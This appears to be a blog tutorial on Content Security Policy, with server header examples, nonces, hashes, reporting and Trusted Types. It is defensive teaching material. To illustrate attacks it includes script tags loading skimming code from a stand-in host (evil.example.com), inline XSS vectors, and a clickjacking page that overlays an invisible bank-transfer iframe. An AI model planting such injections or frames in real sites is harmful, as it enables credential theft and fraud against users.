A web-based social media app had gone viral. Thousands of daily users, good press, investor interest. A developer's dream.
Then one Tuesday, a support email landed: "I didn't authorize these charges."
The developer opened the dashboard. Nothing. Checked the logs. Nothing. No errors, no anomalies, no red flags — just clean green metrics quietly mocking them from the screen. They sat there for a moment, completely blank.
If nothing broke, why is a user reporting fraud?
They started cycling through possibilities. A database breach? A compromised third-party SDK? A rogue dependency? Then something clicked: what if the attack never touched the server at all? What if it happened entirely inside the user's browser?
They dug into the HTML being served. Buried between legitimate posts: <script src="https://evil.example.com/skim.js"></script>. It had been sitting there for three days. Silently executing in every visitor's session. Harvesting form keystrokes. Posting them to an attacker's server.
The app had no mechanism to tell the browser: "you're not allowed to load scripts from evil.example.com." The browser, helpfully doing its job, just ran it. The attack left no server-side trace because it never touched the server. It never needed to.
The app was built without any protection against script injection. That's the pain Content Security Policy (CSP) exists to solve.
What Is CSP, Really?
Think of CSP as the bouncer at your website's door. It has a strict guest list, and anything not on that list gets turned away — no arguments, no exceptions.
Technically, CSP is a series of instructions sent from your web server to the browser via an HTTP response header. It tells the browser which resources your page is allowed to load, from which origins, and under what conditions.
Content-Security-Policy: default-src 'self'; img-src 'self' example.comThat single header does two things: all resources must come from the same origin (self), except images, which can also come from example.com. The browser reads this contract on every page load and enforces it — no server roundtrip, no JavaScript required at runtime.
CSP is a browser security mechanism. Enforcement happens entirely client-side. That's what makes it effective against attacks like XSS and clickjacking, which are browser-level exploits.
You can also deliver CSP via a <meta> tag inside your HTML `<head>` — useful for static SPAs without server control. But the `<meta>` approach doesn't support all CSP features. Notably, reporting directives and `frame-ancestors` won't work through it.
<meta http-equiv="Content-Security-Policy" content="default-src 'self';">> Quick Recap:
1. CSP is an HTTP response header that tells the browser what to allow
2. Enforcement is entirely browser-side — no server logic needed at runtime
3. Delivery via `<meta>` tag works for basic policies but lacks full feature support
The Two Threats CSP Defends Against
CSP protects against two major attack surfaces. Most tutorials focus only on one. That's a mistake. Both are first-class citizens here.
Threat #1 — XSS: The Script You Didn't Write
The bouncer at your website's door has a guest list. But right now, anyone can walk up and add their own name to the list before security checks it. That's XSS without CSP — the attacker gets to forge their own invitation.
Cross-Site Scripting (XSS) is the malicious injection of JavaScript into a web page. If your app accepts user input — comments, posts, profile fields, URL parameters — and that input reaches the page without sanitization, an attacker turns your app into their delivery vehicle.
Vulnerable Code
A user submits this as a post:
<script src="https://evil.example.com/malicious.js"></script>
Nothing to see here.Your server saves it. The next user who loads the page gets served:
<div class="post">
<p>
<script src="https://evil.example.com/malicious.js"></script>
Nothing to see here.
</p>
</div>The browser sees a script tag. It downloads and executes it. Game over.
How It Actually Works
Once an attacker has JavaScript execution in a user's session, they can do anything that user can do. Read private messages. Post as them. Skim credit card fields as the user types. Fake a logout screen to capture credentials.
This isn't just a social-app problem. Financial platforms, medical records systems, infrastructure dashboards — the damage scales with what the app can do.
XSS injection can arrive through five vectors. CSP blocks all of them:
- External script tag: `<script src="https://evil.example.com/hack.js">`
- Inline script block: `<script>stealData()</script>`
- Inline event handler: `<img onmouseover="stealData()" src="x">`
- `javascript:` URL: `<a href="javascript:stealData()">`
- Dynamic code execution: `eval("stealData()")`
The Fix / Protected Code
Set a `script-src` directive. The browser now refuses to load scripts from any origin not on your list:
Content-Security-Policy: script-src 'self' js.stripe.comThe injected `evil.example.com` script is blocked cold. The browser won't even attempt the request.
The Gotcha
Inline scripts are blocked by default when you set `script-src`. That includes `onclick` handlers, `<script>` blocks in your HTML body, and `eval()` calls. Yes, your inline scripts will break. Yes, that's intentional. We'll cover how to handle them properly — keep reading.
Watch Out: CSP is defense in depth, not a replacement for sanitizing input. Sanitize your inputs. Set a CSP. Do both. One day, one will save you when the other has a bad day.
> Quick Recap:
1. XSS = attacker injects JavaScript into your page via unsanitized input
2. CSP's `script-src` blocks scripts from unauthorized origins
3. Inline scripts are blocked by default — this is a feature, not a bug
Threat #2 — Clickjacking: The Invisible Trap
Clickjacking is like someone taping a glass panel over your ATM keypad. You think you're pressing your buttons. You're pressing theirs.
Clickjacking is a different kind of attack. The attacker doesn't inject code into your site — they load your site inside a hidden `<iframe>` on their site, position it invisibly over a button the user thinks they're clicking, and capture the interaction.
Vulnerable Code
The attacker's page:
<! - attacker-site.com →
<html>
<body>
<button style="position:absolute; top:100px; left:200px; z-index:2">
Win a free iPhone!
</button>
<! - Your site, invisible, stacked directly on top →
<iframe
src="https://your-bank.com/transfer?amount=5000&to=attacker"
style="opacity:0; position:absolute; top:80px; left:180px; z-index:3; width:200px; height:60px;">
</iframe>
</body>
</html>The user thinks they clicked "Win a free iPhone." They clicked the invisible "Confirm Transfer" button on your bank's site, authenticated by their active session.
How It Actually Works
The attack depends entirely on your page being embeddable in an `<iframe>`. If you prevent that, the attack collapses. CSP's `frame-ancestors` directive does exactly that.
`frame-ancestors` controls which origins are allowed to embed your page. Set it to none and nobody can iframe you — not even yourself. Set it to self and only your own origin can.
The Fix / Protected Code
Block all embedding:
Content-Security-Policy: frame-ancestors 'none'Allow only your own origin:
Content-Security-Policy: frame-ancestors 'self'Allow a specific trusted partner:
Content-Security-Policy: frame-ancestors 'self' https://partner.example.com`frame-ancestors` replaces the older `X-Frame-Options` header. CSP is more granular — you can allowlist multiple specific origins. `X-Frame-Options` can't do that. That said, if you need to support Internet Explorer (which doesn't support CSP at all), keep `X-Frame-Options` as a fallback.
The Gotcha
`frame-ancestors` is a navigation directive, not a fetch directive. It cannot be delivered via `<meta>` tag — only via the HTTP header. If you're relying solely on a `<meta>` CSP tag, this directive silently does nothing.
> Quick Recap:
1. Clickjacking embeds your site in an invisible iframe to hijack user clicks
2.
frame-ancestors 'none'stops all iframe embedding of your page
3. This directive only works in the HTTP header, not in `<meta>` tags
How CSP Actually Works: The Browser Contract
You can write a policy. But how does the browser know what to do with it, and when?
How It Actually Works
Every HTTP response from your server can carry a `Content-Security-Policy` header. The browser reads it before rendering the page. From that point, it enforces the policy against every resource load, script execution, and navigation attempt tied to that document.
The policy is a string of directives, separated by semicolons. Each directive has a name and one or more source expressions:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com; img-src *Directives are specific: `script-src` applies only to JavaScript. `img-src` applies only to images. If a directive is missing, the browser falls back to `default-src`. If `default-src` is also missing, that resource type is unrestricted.
`default-src` is your safety net — and a trap if set too permissively. Think of it as the bouncer's fallback rule: "if there's no specific rule for this type of guest, apply the house default."
When the browser blocks something, it prints a console error with the blocked URL, the violated directive, and sometimes the hash you'd need to allow it:
Refused to execute inline script because it violates the following Content Security Policy
directive: script-src 'self'. Either the unsafe-inline keyword, a hash
('sha256-abc123…'), or a nonce ('nonce-…') is required to enable inline execution.
That output is your first debugging tool. Learn to read it.
Setting the Header
Express.js / Node.js:
app.use((req, res, next) => {
res.setHeader(
'Content-Security-Policy',
"default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'"
);
next();
});Apache (`httpd.conf` or `.htaccess`):
Header set Content-Security-Policy "default-src 'self';"Nginx (`server {}` block):
add_header Content-Security-Policy "default-src 'self';";IIS (`web.config`):
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="Content-Security-Policy" value="default-src 'self';" />
</customHeaders>
</httpProtocol>
</system.webServer>Watch Out: The CSP header must travel with the HTML response — the document the browser is actually rendering. Setting it only on your API server does nothing. The browser never sees it.
> Quick Recap:
1. CSP is a semicolon-separated list of directives in an HTTP response header
2. Missing directives fall back to `default-src`
3. The browser console tells you exactly what was blocked and why
Core Directives: The Bouncer's Full Guest List
Here's every directive you'll actually use. Not every project needs all of them — but knowing what each one does closes the blind spots that get exploited.
`script-src`
Controls JavaScript sources. Example: 'self' cdn.example.com
Risk if omitted: XSS via external or inline scripts
`style-src`
Controls CSS stylesheets. Example: self fonts.googleapis.com
Risk if omitted: CSS injection attacks
`img-src`
Controls images. Example: 'self' data: https:
Risk if omitted: Data exfiltration via `<img>` tags
`connect-src`
Controls AJAX, fetch, and WebSocket connections. Example: 'self' api.example.com
Risk if omitted: Unauthorized API calls to attacker-controlled servers
`font-src`
Controls web fonts. Example: `fonts.gstatic.com`
Risk if omitted: Unrestricted font resource loading
`object-src`
Controls plugins — `<object>`, `<embed>`. Example: none
Risk if omitted: Plugin-based exploits; almost always set to none
`media-src`
Controls audio and video. Example: `media.example.com`
Risk if omitted: Unrestricted media loading
`frame-src`
Controls iframes your page loads. Example: self youtube.com
Risk if omitted: Your page loads attacker-controlled iframes
`frame-ancestors`
Controls who can embed your page. Example: none
Risk if omitted: Click-jacking
`base-uri`
Controls the <base> tag. Example: none
Risk if omitted: Base-tag hijacking redirects all relative URLs
`form-action`
Controls where forms can submit. Example: self
Risk if omitted: Form submission can be hijacked to external servers
`default-src`
Fallback for all directives not explicitly set. Example: self
Risk if omitted: Unrestricted resource loads for any uncovered type
`upgrade-insecure-requests`
Auto-upgrades HTTP links to HTTPS. No value needed.
Risk if omitted: Mixed content vulnerabilities persist
Source expression keywords
The values that go inside directives:
self — Same origin as the document only
none — Block everything for this directive type
https: — Any resource served over HTTPS, any domain
unsafe-inline— Allows inline JS/CSS. Avoid in production — it re-enables every XSS vector CSP was meant to block. If a nonce or hash is present in the same directive, modern browsers ignore `'unsafe-inline'` automatically, making it safe to include as an older-browser fallback only.
unsafe-eval — Allows eval() and related APIs. Avoid unless a legacy dependency forces it.
nonce-{value} — Allows scripts/styles with a matching `nonce` attribute on the tag
sha256-{hash}— Allows scripts/styles whose content matches this SHA-256 fingerprint
strict-dynamic — A CSP Level 3 keyword. Trust propagates from nonce/hash-verified scripts to any further scripts they load dynamically.
report-sample — Includes the first 40 characters of the blocked content in violation reports. Add this to script-src and style-src — it makes debugging dramatically faster.
Writing Your First Policy: Step by Step
Start with a baseline that blocks everything, then open only what you need:
Content-Security-Policy:
default-src 'none';
script-src 'self';
connect-src 'self';
img-src 'self';
style-src 'self';
base-uri 'self';
form-action 'self'This blocks plugins, frames, fonts, media, and all cross-origin loads by default. It's a locked room you open doors in — not an open field you try to fence.
The Inline Script Problem
The moment you set `script-src`, inline scripts stop working. That means `onclick` handlers in HTML, `<script>` blocks in the page body, and `eval()` calls. Here's the migration pattern:
Before (blocked by CSP):
<p onclick="console.log('clicked')">Click me</p>After (CSP-compliant):
<! - In your HTML →
<p id="clickable">Click me</p>
<! - In your external app.js, loaded via script-src 'self' →
<script src="/app.js"></script>
// app.js
const el = document.querySelector('#clickable');
el.addEventListener('click', () => {
console.log('clicked');
});Move all inline JavaScript into external files. Load those files with `script-src 'self'`. Every inline event handler becomes an `addEventListener` call.
Pro Tip: Modern frameworks like React and Angular are built with this pattern in mind. If you're already using one, you're likely most of the way there. Legacy codebases with inline jQuery and scattered `onclick` attributes are where this migration earns its pain.
> Quick Recap:
1. Start with `default-src 'none'` and open only what your app actually needs
2. Replace inline event handlers with `addEventListener`
3. Move all `<script>` block content into external `.js` files
Nonces & Hashes: When You Can't Remove Every Inline Script
Some inline scripts are legitimately unavoidable — analytics snippets, server-rendered configuration blocks, A/B testing tools. For those cases, you have two options that don't require surrendering your policy.
Nonces
A nonce (number used once) is a cryptographically random token generated fresh for every HTTP response. The server embeds it in the CSP header and in the `<script>` tag. The browser checks that they match before executing.
Express.js example:
const crypto = require('crypto');
app.get('/', (req, res) => {
const nonce = crypto.randomUUID();
res.setHeader(
'Content-Security-Policy',
`script-src 'nonce-${nonce}' 'strict-dynamic'; object-src 'none'; base-uri 'none'`
);
res.send(`
<html>
<body>
<script nonce="${nonce}" src="/app.js"></script>
<script nonce="${nonce}">
console.log("This inline script is authorized.");
</script>
</body>
</html>
`);
});The nonce must change on every request. A static nonce is no protection at all — an attacker reads it from the page source and adds it to their injected script. Use `crypto.randomUUID()` or equivalent. Never hardcode it.
Hashes
A hash is a SHA-256 (or SHA-384/SHA-512) fingerprint of the script content itself. Unlike nonces, hashes are static — ideal for scripts that don't change between requests.
const hash1 = "sha256-ex2O7MWOzfczthhKm6azheryNVoERSFrPrdvxRtP8DI=";
const hash2 = "sha256-H/eahVJiG1zBXPQyXX0V6oaxkfiBdmanvfG9eZWSuEc=";
app.get('/', (req, res) => {
res.setHeader(
'Content-Security-Policy',
`script-src '${hash1}' '${hash2}'; object-src 'none'; base-uri 'none'`
);
res.send(`
<html>
<body>
<script src="./main.js" integrity="${hash2}"></script>
<script>console.log("This exact content is authorized.");</script>
</body>
</html>
`);
});External scripts need both the hash in the CSP and the `integrity` attribute on the tag. Change the script content? Recalculate the hash.
strict-dynamic: The Trust Propagation Model
Here's the real-world problem: your nonce-verified loader script dynamically creates further `<script>` elements. Those child scripts don't carry `nonces`. They get blocked.
`strict-dynamic` solves this. If a script has a valid nonce or hash, it's allowed to load further scripts — even ones without their own nonces. Trust propagates down the chain.
Content-Security-Policy:
script-src 'nonce-{RANDOM}' 'strict-dynamic';
object-src 'none';
base-uri 'none'Consider a script `main.js` that loads `main2.js` dynamically:
// main.js (has a nonce - allowed to execute)
const s = document.createElement('script');
s.src = 'main2.js';
document.head.appendChild(s);
// Without 'strict-dynamic': main2.js is blocked.
// With 'strict-dynamic': main2.js inherits the trust and loads.Watch Out: `strict-dynamic` makes your policy more permissive. If a trusted script generates `<script>` elements based on user-controlled data, you've opened a gap. Use it deliberately.
When to use nonces vs. hashes:
- Use nonces when your server renders pages dynamically (new HTML per request)
- Use hashes when your HTML is static or fully client-side rendered
- Use `nonces` + `strict-dynamic` when third-party loader scripts create their own child scripts
> Quick Recap:
Nonces are per-request random tokens — never reuse, never hardcode
Hashes fingerprint the script content — recalculate whenever the script changes
`strict-dynamic` lets a trusted script load further scripts without individual nonces
CSP Reporting: Your Early Warning System
You've deployed a CSP. How do you know it's working? How do you know you haven't silently broken half your app for real users?
Without reporting, you're flying completely blind.
The Fix
Add a `report-uri` directive (widely supported) alongside your policy:
Content-Security-Policy:
default-src 'self';
script-src 'self';
report-uri /csp-violationsEvery time the browser blocks something, it sends a JSON POST to that endpoint:
{
"age": 53531,
"body": {
"blockedURL": "https://evil.example.com/malicious.js",
"violatedDirective": "script-src-elem",
"disposition": "enforce",
"documentURL": "https://yourapp.com/feed",
"lineNumber": 42,
"sample": "console.log(\"You've been hacked",
"statusCode": 200
},
"type": "csp-violation"
}That `sample` field — the first 40 characters of the blocked content — only appears if you add `report-sample` to your `script-src`:
Content-Security-Policy: script-src 'self' 'report-sample'; report-uri /csp-violationsAdd `report-sample`. It makes debugging dramatically faster.
Report-Only Mode: Deploy Without Breaking Anything
`Content-Security-Policy-Report-Only` is the most underused feature in web security. It sends violation reports but doesn't block anything. Full visibility. Zero user impact.
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-violationsThis is the foundation of Report-Driven Development. The cycle:
1. Deploy in Report-Only mode
2. Collect violation reports — the browser tells you exactly what to add
3. Update the policy based on what you see
4. Repeat until violations dry up
5. Switch to enforcement mode
The recommended deployment workflow:
Report-Only: Dev → Stage → Prod
↓
Enforce Mode: Dev → Stage → ProdDon't jump straight to enforcement on production. Run Report-Only there first. Your staging environment never fully mirrors real user behavior.
How long does the cycle take?
- Small personal site: about a day
- Small company app: about a week
- Large enterprise with legacy inline JS: one month to many months
The biggest bottleneck is always inline JavaScript that needs moving to external files.
> Quick Recap:
1. `report-uri` sends a violation JSON payload every time CSP blocks something
2. `Content-Security-Policy-Report-Only` reports without blocking — use it before enforcing
3. Run the full Report-Only cycle on every environment before switching to enforce mode
The 7 Sins of CSP: Common Misconfigurations
These are the mistakes that appear constantly in real production policies. Some look harmless. None are.
1. Using `unsafe-inline`
Why it hurts: Re-enables inline script execution — your main XSS protection is gone.
Fix: Use nonces or hashes instead.
2. Broad CDN allowlist — e.g. `*.googleapis.com`
Why it hurts: An attacker can host malicious JS on the same CDN and your policy allows it.
Fix: Use full file paths — `ajax.googleapis.com/ajax/libs/jquery/3.x/jquery.min.js`
3. Missing `object-src`
Why it hurts: Flash and plugin exploit vectors are left completely open.
Fix: Set to `none`.
4. Missing ` base-uri`
Why it hurts: An attacker can inject a `<base href>` tag and redirect all relative URLs on your page.
Fix: Set to `none` or `self`.
5. CSP header sent from the API server, not the HTML server
Why it hurts: The policy is never delivered to the browser — it never sees the header.
Fix: The header must accompany the HTML document response, not just API responses.
6. Multiple conflicting CSP headers
Why it hurts: The browser intersects them in ways that are hard to predict or debug.
Fix: Consolidate to one header.
7. No `report-uri` or `report-to`
Why it hurts: Violations are completely invisible. Breakage is silent. You find out from users.
Fix: Always add a reporting endpoint, even after you switch to enforcement mode.
> Pro Tip: When the browser console shows a CSP violation for an inline script, it frequently includes the exact SHA-256 hash you'd need to allow it. Copy it directly into your policy. The browser is essentially writing your CSP for you — at least for the gaps.
CSP Level 3 & Trusted Types: The Sharp Edge
What Changed from CSP Level 2 to Level 3
CSP Level 2 introduced:
- Nonces for inline scripts
- Hashes for inline scripts
- `base-uri` and `form-action` directives
- `child-src` and `frame-ancestors`
CSP Level 3 added on top:
- `strict-dynamic` — trust propagation from verified scripts
- `worker-src` — restricts Worker, SharedWorker, ServiceWorker URLs
- `manifest-src` — restricts app manifest loading
- `report-to` — modern Reporting API (replaces deprecated `report-uri`)
- `require-trusted-types-for` — enforces Trusted Types (experimental)
Browser support for CSP Level 3: Chrome 59+, Firefox 58+, Safari 15.4+, Edge 79+.
Internet Explorer has no CSP support at all.
Trusted Types: Closing the DOM XSS Gap
Even with a solid `script-src`, a DOM-based XSS can still win. Consider this:
// Dangerous: passes user-controlled string directly into innerHTML
const userInput = new URLSearchParams(window.location.search).get('msg');
document.querySelector('#output').innerHTML = userInput;`script-src` doesn't prevent this. `innerHTML` is an injection sink — not a script load from an external URL. The attack happens entirely inside already-running JavaScript.
Trusted Types close this gap. They require any string passed to a DOM sink to first pass through a registered sanitization policy:
Content-Security-Policy: require-trusted-types-for 'script'; trusted-types myPolicy
// With Trusted Types enforced, raw innerHTML throws unless given a TrustedHTML object
const policy = trustedTypes.createPolicy('myPolicy', {
createHTML: (input) => {
// sanitize before use - strip executable content
return input.replace(/<script[\s\S]*?>[\s\S]*?<\/script>/gi, '');
}
});
// Safe: passes through the sanitization policy first
document.querySelector('#output').innerHTML = policy.createHTML(userInput);Without Trusted Types, the raw `innerHTML` call with unsanitized input throws a runtime exception. The browser enforces your DOM hygiene contract before the code can cause damage.
Angular 19's autoCsp
Angular 19 introduced `autoCsp: true` in `angular.json` — a build-time option that automatically generates a hash-based CSP and injects it into the app's HTML:
{
"projects": {
"angular-app": {
"architect": {
"build": {
"configurations": {
"production": {
"security": {
"autoCsp": true
}
},
"staging": {
"security": {
"autoCsp": false
}
}
}
}
}
}
}
}When built with `autoCsp: true`, Angular automatically generates:
<meta http-equiv="Content-Security-Policy"
content="script-src 'strict-dynamic' 'sha256–6b/LUBc9nAYFs/…' https: 'unsafe-inline';
object-src 'none'; base-uri 'self';">The `unsafe-inline` is intentional — browsers that support hashes ignore it automatically, but older browsers fall back to it. If your Angular app uses `onclick` attributes or raw `innerHTML`, `autoCsp` will break them. Replace inline handlers with Angular's `(click)` binding and use `DomSanitizer` for dynamic HTML content.
> Quick Recap:
1. CSP Level 3 adds `strict-dynamic`, worker/manifest directives, and Trusted Types
2. Trusted Types force DOM sinks through sanitization — closes DOM XSS gaps that `script-src` can't reach
3. Angular 19 automates hash-based CSP generation at build time via `autoCsp: true`
Testing & Auditing Your Policy
You've written a policy. Don't assume it's correct. Validate it before your users find the gaps for you.
Start in the Browser Console
Open DevTools → Console. Any CSP violation shows as a red error with the blocked URL, the violated directive, and sometimes the exact hash or nonce you'd need. Start here before reaching for anything else.
Policy Validators
Google's CSP Evaluator (`csp-evaluator.withgoogle.com`) — paste your policy or give it a URL. It grades your policy and flags specific weaknesses: overly broad hosts, missing `object-src`, unsafe keywords present.
csper.io/evaluator — similar grading with additional checks for specific misconfigurations and malformed or corrupted policy strings. If your policy silently breaks, it'll tell you where.
Automatic Policy Generators
Don't write your first policy from scratch. Use a browser extension that watches you browse your own site and builds a policy from what it observes:
- Laboratory (by April King, former Mozilla) — available for Chrome and Firefox
- `csper.io` generator— Chrome extension with the same approach
Browse through every page, feature, and user flow in your app. The extension captures every resource load and assembles a policy that allows all of them. Use that as your baseline. Then tighten it.
Run Report-Only Alongside Enforcement
You can send both headers simultaneously to test a policy change safely:
Content-Security-Policy: default-src 'self'; script-src 'self' cdn.example.com
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'The first enforces your current policy. The second reports what would break if you removed `cdn.example.com`. You see the impact before making the change. No users affected in the process.
> Quick Recap:
1. Browser DevTools console gives you exact directive names, blocked URLs, and suggested hashes
2. `csp-evaluator.withgoogle.com` and `csper.io/evaluator` grade and flag policy weaknesses
3. Laboratory and csper.io generator auto-build a starter policy by watching your app in action
Ongoing: Stay Alert
- Keep `report-to` or `report-uri` active in enforcement mode — always
- Set up alerting for unusual violation spikes
- Treat unexpected inline violation reports as signals of active exploitation attempts, not just config drift
- Treat your CSP as a living document — it changes when your app does
References
1. MDN Web Docs — Content Security Policy (CSP): https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP
2. Stuart Larsen — Content Security Policy: Zero to Hero: https://www.youtube.com/watch?v=LBIANHdBoUA
3. Content Security Policy Quick Reference Guide: https://content-security-policy.com/
4. PortSwigger Web Security — Content Security Policy: https://portswigger.net/web-security/cross-site-scripting/content-security-policy
5. Alyshovtapdig — Angular 19 and Content Security Policy (CSP): https://alyshovtapdig.medium.com/angular-19-and-content-security-policy-csp-en-5b49af4a7938
6. Nawaz Dhandala — How to Implement Content Security Policy (CSP) for React Apps: https://oneuptime.com/blog/post/2026-01-15-content-security-policy-csp-react/view
Found this useful? Give tribute with a clap. And if your policy is already live — drop your score from `csp-evaluator.withgoogle.com` in the comments. Let's see how we're all actually doing.